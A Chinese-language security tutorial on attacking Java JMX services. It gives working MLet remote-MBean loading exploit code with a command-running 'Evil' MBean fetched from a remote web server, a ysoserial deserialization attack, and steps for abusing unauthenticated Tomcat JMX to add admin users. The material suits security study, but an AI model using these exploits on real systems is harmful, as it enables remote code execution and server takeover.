前言JMX介绍 1. JMX代码演示及架构 2. 使用jconsole图形工具监视、管理JMX使用MLet攻击JMX 1. 介绍MLet及攻击过程 2. MLet攻击示例代码 3. 小结通过MBean方法参数反序列化攻击JMX 1. JMX调用MBean的流程 2. 反序列化攻击代码 3. 小结其他反序列化攻击JMX的方式利用中间件等的特殊MBean攻击JMX 1. 通过JMX攻击Tomcat 环境配置 获取已有用户的密码 添加管理员角色用户参考链接
本文对JMX进行介绍,分析JMX的各个攻击面,最后学习各个中间件中存在的JMX相关漏洞。
JMX(Java ManagementExtensions)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。
JMX可以被理解为SNMP(简单网络管理协议)的“Java版本”。SNMP主要用于监控网络组件,如网络交换机或路由器。
与SNMP一样,JMX也用于监视基于Java的应用程序。JMX最常见的应用场景,就是在Nagios、Icinga或Zabbix等集中式监控解决方案中用于监控Java应用服务器的可用性和性能。
先贴一张JMX的架构图,后面结合代码demo进行讲解。
以下项目启动一个基于RMI的JMX服务,并注册一个MBean。
项目结构:
├── HelloWorldMBean.java
├── HelloWorld.java
└── jmxDemo.java
HelloWorldMBean.java
package com.example;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package com.example;
public class HelloWorld implements HelloWorldMBean {
private String name = "com.example";
@Override
public void sayhello() {
System.out.println("hello world " + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package com.example;
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jmxDemo {
public static void main(String[] args) throws Exception {
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
ObjectName objectName = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mBeanServer.registerMBean(mbean, objectName);
Registry registry = LocateRegistry.createRegistry(1099);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi");
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("Server start...");
}
}
结合上面的架构图及demo代码,可以看到整个JMX分为三层。
Probe Level
实例化HelloWorldMBean类为mbean。
主要关注两种类型的mbean。
standard MBean:它能管理的资源(包括属性,方法,时间)必须定义在接口中,实例化的MBean必须实现这个接口。它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean。
dynamic MBean:必须实现javax.management.DynamicMBean
接口,所有的属性,方法都在运行时定义。
Agent Level
创建了 MBeanServer 实例。
主要提供对资源的注册和管理。注册了mbean(具有唯一ObjectName)。
Remote Management Level
创建了JMXServiceURL,绑定到本地1099端口的RMI服务(基于RMI服务的),关联到MBeanServer。
jconsole
是基于JMX的可视化监视、管理工具,该工具是JDK的一部分,可以通过如下命令运行:
"%JAVA_HOME%/bin/jconsole.exe"
or
javaw -jar "%JAVA_HOME%/lib/jconsole.jar"
本地可以通过进程方式进行连接,远程可以通过ip:port
方式进行连接。
可以用来获取/设置bean属性,或调用方法。存在其他默认的mbean对象实例。
Mlet是一个类:javax.management.loading.MLet
,这是一个mbean(实现接口MLetMBean
)。该mbean存在一个方法getMBeansFromURL
,可以从远程mlet server加载mbean。
通过MLet这个mbean的函数功能我们就能得出使用MLet攻击JMX的攻击过程:
启动托管MLet文件和含有恶意MBean的JAR文件的Web服务器
使用JMX在目标服务器上创建MBean javax.management.loading.MLet
的实例
调用MBean实例的getMBeansFromURL
方法,将Web服务器的MLet文件URL作为参数进行传递。JMX服务将连接到http服务器并解析MLet文件
JMX服务下载并归档MLet文件中引用的JAR文件中的恶意MBean,使恶意MBean可通过JMX获取
攻击者最终通过JMX调用恶意MBean的方法达到攻击目的
首先创建恶意jar文件,将下面的恶意mbean打包成Evil.jar
:
EvilMBean.java
package com.mlet.example;
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
package com.mlet.example;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean {
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
MLet文件是一个类似于HTML的文件,可以通过Web服务器提供。
mlet.txt
<html><mlet code="com.mlet.example.Evil" archive="Evil.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
code="com.mlet.example.Evil"
为恶意mbean的路径;
archive="Evil.jar"
为恶意mbean的jar包;
name="MLetCompromise:name=evil,id=1"
可自定义,遵循OBjectname
规则;
codebase="http://127.0.0.1:4141"
访问为jar包的url。
将Evil.jar
和mlet.txt
放在同一目录,python3 -m http.server 4141
启动web服务。
web服务准备完毕,运行如下代码攻击JMX。
ExploitJMXByRemoteMBean.java
package com.mlet.example;
import javax.management.InstanceAlreadyExistsException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) throws MalformedURLException {
connectAndOwn("127.0.0.1", "1099", "ipconfig");
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 通过rmi创建 jmx连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ "http://192.168.118.1:4141/mlet.txt" },
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
// 如果恶意mbean已经存在,则直接获取
if (nextObject instanceof InstanceAlreadyExistsException)
{
//
evil_bean = m.getObjectInstance(new ObjectName("MLetCompromise:name=evil,id=1"));
} else if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
} else {
evil_bean = ((ObjectInstance)nextObject);
}
// step4: 执行恶意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
该攻击方法在启用JMX身份验证时受限制。启用身份验证后的主要影响有两点,一是使用JMX服务时必须提供相应的凭证,二是无法调用getMBeansFromURL
。
所以在启用JMX身份验证之后,还必须设置jmx.remote.x.mlet.allow.getMBeansFromURL=true
才能调用getMBeansFromURL,MBeanServerAccessController 的部分实现细节:
final String propName ="jmx.remote.x.mlet.allow.getMBeansFromURL";
GetPropertyAction propAction = new GetPropertyAction(propName);
String propValue = AccessController.doPrivileged(propAction);
boolean allowGetMBeansFromURL ="true".equalsIgnoreCase(propValue);
if (!allowGetMBeansFromURL) {
throw new SecurityException("Access denied! MLet method " +
"getMBeansFromURLcannot be invoked unless a " +
"security manageris installed or the system property " +
"-Djmx.remote.x.mlet.allow.getMBeansFromURL=true" +
"isspecified.");
}
JMX调用远程MBean方法的流程可以简单概括:
将MBean name
、MBean Function Name
、params
发送给远程rmi server,其中params的处理需要注意下,先转为MarshalledObject
,再writeObject
为String对象,然后进入网络传输;
RMI Server监听到网络请求包含MBean name
、MBean Function Name
、params
,其中params经过MarshalledObject.readObject()
反序列化,再通过invoke调用原函数。
攻击者只需传递恶意对象作为参数,而不仅限于传递String。JMX使得这一切变得非常容易,因为用于调用远程MBean方法的MBeanServerConnection.invoke
方法需要传递两个数组,一个是参数,一个是参数的签名。只需参数签名(String.class.getName())校验成功即可。
ysoserial中已经集成该payload:
ysoserial.exploit.JMXInvokeMBean
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
需要在启动的JMX项目里添加相关的gadget,这里使用CommonsCollections7
这条链,将commons-collections 3.1
添加到JMX项目依赖中。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 1099 CommonsCollections7 calc
使用java.util.logging:type=Logging
比较通用,换其他ObjectName也行,比如com.sun.management:type=DiagnosticCommand
。
getLoggerLevel
为read操作,不会影响到系统,getParentLoggerLevel、setLoggerLevel也都可以。
Tomcat中默认不开启JMX服务,需要在catalina.bat
中配置启动参数(参考文章 https://www.linuxidc.com/Linux/2019-12/161854.htm ):
set "CATALINA_OPTS=%CATALINA_OPTS% -Dcom.sun.management.jmxremote -DJava.rmi.server.hostname=0.0.0.0 -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
rem CATALINA_OPTS (Optional) Java runtime options used when the "start",
rem "run" or "debug" command is executed.
rem Include here and not in JAVA_OPTS all options, that should
rem only be used by Tomcat itself, not by the stop process,
rem the version command etc.
rem Examples are heap size, GC logging, JMX ports etc.
在9999
端口启动一个无认证的JMX服务。
使用jconsole
连接到本地tomcat启动的JMX服务。
本地环境需要先在tomcat-users.xml
中配置登录用户及角色。
Users
->UserDatabase
节点下,创建用户:
Users
->UserDatabase
节点下,创建角色(这里我已经存在manager-gui
角色了):
Users
->User
->[用户名]
节点下,将创建的用户与创建的角色关联:
保存配置:
就可以使用创建的用户登录manager。
https://m0d9.me/2020/05/25/JMX%E7%B3%BB%E5%88%97%EF%BC%9A%E4%BB%80%E4%B9%88%E6%98%AFJMX%EF%BC%88%E4%B8%80%EF%BC%89/
https://nosec.org/home/detail/2544.html
https://www.hacking8.com/bug-product/Tomcat/%E9%80%9A%E8%BF%87jmx%E6%94%BB%E5%87%BBTomcat.html